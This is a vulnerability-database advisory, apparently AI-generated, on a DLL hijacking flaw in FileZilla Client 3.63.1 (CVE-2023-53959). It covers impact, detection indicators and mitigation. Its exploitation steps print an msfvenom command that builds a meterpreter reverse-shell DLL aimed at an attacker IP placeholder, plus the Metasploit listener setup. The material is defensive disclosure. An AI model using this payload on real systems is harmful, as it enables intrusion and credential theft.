
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2023-53959 is a DLL hijacking vulnerability in FileZilla Client 3.63.1 that allows attackers to execute arbitrary code by placing a malicious TextShaping.dll in the application's directory. The vulnerability was assigned by VulnCheck and published on December 19, 2025. It affects only FileZilla Client version 3.63.1 on Windows. The CNA-assigned CVSS v3.1 base score is 9.8 (Critical), while the CVSS v4.0 base score is 8.5 (High) (VulnCheck Advisory, NVD).
The vulnerability is classified as CWE-427 (Uncontrolled Search Path Element). FileZilla Client 3.63.1 attempts to load TextShaping.dll at application startup but does not validate the DLL's location or integrity, allowing an attacker-controlled DLL placed in the application directory to be loaded instead of the legitimate system library. Exploitation requires an attacker to have write access to the FileZilla Client installation directory — a local precondition — after which the malicious DLL executes automatically when the application launches. A public proof-of-concept exploit demonstrating reverse shell generation via msfvenom is available on Exploit-DB (Exploit-DB PoC, VulnCheck Advisory).
Successful exploitation results in arbitrary code execution with the privileges of the user running FileZilla Client, enabling complete compromise of the affected system. An attacker can achieve full confidentiality, integrity, and availability impact — including credential theft (e.g., stored FTP credentials), data exfiltration, and installation of persistent malware. If the application is run with elevated privileges, the impact extends to full system takeover and potential lateral movement within the network (VulnCheck Advisory, NVD).
C:\Program Files\FileZilla FTP Client\).msfvenom to create a reverse shell payload packaged as a DLL: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<port> -f dll -o TextShaping.dll.TextShaping.dll into the FileZilla Client application directory, replacing or creating the missing DLL that the application searches for at startup.use exploit/multi/handler, configure the matching payload and LHOST/LPORT, then run.TextShaping.dll, executing the reverse shell payload and establishing a connection to the attacker's listener with the victim user's privileges (Exploit-DB PoC, VulnCheck Advisory).TextShaping.dll in the FileZilla Client installation directory (e.g., C:\Program Files\FileZilla FTP Client\TextShaping.dll); file creation or modification timestamps on DLLs in the application directory that do not align with installation or update events.filezilla.exe (e.g., cmd.exe, powershell.exe, network tools); outbound network connections initiated by filezilla.exe to unexpected external IP addresses.TextShaping.dll from the application directory rather than a system path; Sysmon Event ID 7 (Image Loaded) entries for TextShaping.dll loaded by filezilla.exe from a non-system location.Users should upgrade FileZilla Client to a version newer than 3.63.1 as soon as a patched release is available from the FileZilla Project (FileZilla Project). Until a patch is applied, restrict write access to the FileZilla Client installation directory to prevent unauthorized DLL placement, and run FileZilla Client with the least privileges necessary. Implement application whitelisting (e.g., via Windows Defender Application Control or AppLocker) to block unsigned or unexpected DLLs from loading, and monitor the application directory for unexpected file changes, particularly to TextShaping.dll (VulnCheck Advisory).
The Hacker Wire published a dedicated article covering the vulnerability and its remote code execution implications, noting the availability of a public PoC (The Hacker Wire). The vulnerability was included in CISA's weekly vulnerability bulletin (SB25-356) and noted in a weekly security roundup by The Hacker Wire. Community discussion has been limited, with no major vendor statements from the FileZilla Project observed in available data.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."